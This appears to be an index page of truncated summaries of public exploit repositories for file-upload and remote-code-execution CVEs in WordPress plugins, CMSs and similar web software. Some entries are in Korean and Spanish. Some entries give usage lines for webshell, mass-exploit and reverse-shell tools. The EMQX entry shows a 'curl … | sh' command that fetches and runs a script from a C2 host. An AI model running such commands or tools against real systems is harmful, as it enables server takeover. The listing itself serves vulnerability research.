PoC-CVE-2026-1357

PoC CVE-2026-1357: WPvivid Backup & Migration The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process...

cve-2023-5966

Poc from CVE-2023-5966 Advisory EspoCRM 2.7.4 and earlier is vulnerable to an arbitrary file upload that can lead to code execution in the add extension functionality. The zip file on this repo upload a web shell to /webshell.php...

CVE-2026-25548

CVE-2026-25548 — Remote Code Execution in InvoicePlane 1.7.0 Vulnerability: Remote Code Execution via Local File Inclusion + Log Poisoning Product: InvoicePlane Affected Version: 1.7.0 and likely prior versions Severity: Critical CVSS 3.1 Score: 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CW...

CVE-2025-10353-POC

CVE-2025-10353 POC - File Upload RCE 🛠️ POC for CVE-2025-10353: A file-upload vulnerability in the melis-cms-slider module of Melis Platform that can lead to remote code execution RCE when an attacker uploads a malicious file via the mcsdetailimg parameter to:...

CVE-2026-107362

Malcolm file-upload component ships the upstream FilePond PHP server pqina/filepond-server-php largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8 Critical Possible RCE Jenzabar ICS + MoxieManager proof https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS Impact Affected CVE-2026-30-03 9.8 Critical Possible RCE Jenzabar ICS + MoxieManager A vulnerability in the...

CVE-2026-3844

CVE-2026-3844 Mass Exploit CVE-2026-3844 – Breeze Cache WordPress =2.4.4 allows unauthenticated file upload via fetchgravatarfromremote when local gravatar hosting is enabled. Installation Download repository git clone https://github.com/im-hanzou/CVE-2026-3844 Go to repository folder cd...

CVE-2026-31816-rshell

CVE-2026-31816 Reverse Shell Exploit Overview This tool exploits CVE-2026-31816 to establish a reverse shell connection on a target Budibase server. Attack Chain : Authentication Bypass → Upload DATASOURCE Plugin → Server-side Code Execution → Reverse Shell Requirements Python 3.6+ requests libra...

Exploit-CVE-2026-1357

Install dependencies pip3 install pycryptodome requests Basic exploit python3 wpvivi.py http://target.com Custom webshell python3 wpvivi.py http://target.com --shell backdoor.php python3 wpvivi.py http://target.com --code "" Technical explanation: Null Byte Key: When RSA decryption fails, it...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache RCE Unauthenticated Arbitrary File Upload → Remote Code Execution Field| Value ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical Plugin| Breeze Cache Cloudways Affected| ≤ 2.4.4 Fixed| 2.4.5 Discovered by| Hung Nguyen bashu PoC by| halilkirazkaya Overview Breeze Cache...

CVE-2026-42879

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14 was discovered to contain a zero click code injection vulnerability which allows attackers to execute arbitrary code via a crafted plugin. This vulnerability is triggered through user interaction with the attacker's profile page. One-Cli...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: Tiny File Manager Project의 Tiny File Manager = 2.4.3에 포함된 tinyfilemanager.php의 파일 업로드 기능에 존재하는 경로 탐색Path traversal 취약점으로, 유효한 사용자 계정을 가진 원격 공격자가 웹 루트에 악성 PHP 파일을 업로드하여 대상 서버에서 코드 실행을 달성할 수 있습니다...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께 EMQX 서버에서 업로드한...

CVE-2026-7537

MDJM Event Management = 1.7.8.3 - Authenticated Administrator+ Arbitrary File Upload via 'mdjmemailuploadfile' Parameter The WordPress MDJM Event Management plugin version 1.7.8.3 and prior contains an arbitrary file upload vulnerability that allows authenticated administrators to upload maliciou...

CSRF-to-RCE-on-Backdrop-CMS

De CSRF a RCE en Backdrop CMS 1.20 Este PoC describe cómo explotar CSRF en Backdrop CMS versión 1.20 con escalada a RCE. CVE ID CVE-2021-45268 Descripción La versión 1.20 de Backdrop CMS permite añadir plugins mediante archivos ZIP subidos al sitio. Y, debido a que no tiene protección anti-CSRF, ...

exploits

exploits Los PoC publicados se pueden encontrar en exploitdb.com Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc Una prueba de concepto que explota la Ejecución Remota de Código con privilegios del servidor web mediante la Carga Arbitraria de Archivos. Descripción de la vulnerabilidad Existe una vulnerabilidad crítica de Ejecución Remota de Código en el componente de vista previa...

Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2

Subida de archivos sin restricciones en SiteMagic CMS 4.4.2 Este repositorio describe cómo explotar la vulnerabilidad de subida de archivos sin restricciones en SiteMagic CMS 4.4.2 Acerca de SiteMagic CMS 4.4.2 Sitio web: https://sitemagic.org/ Descarga: https://sitemagic.org/Download.html PoC -...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...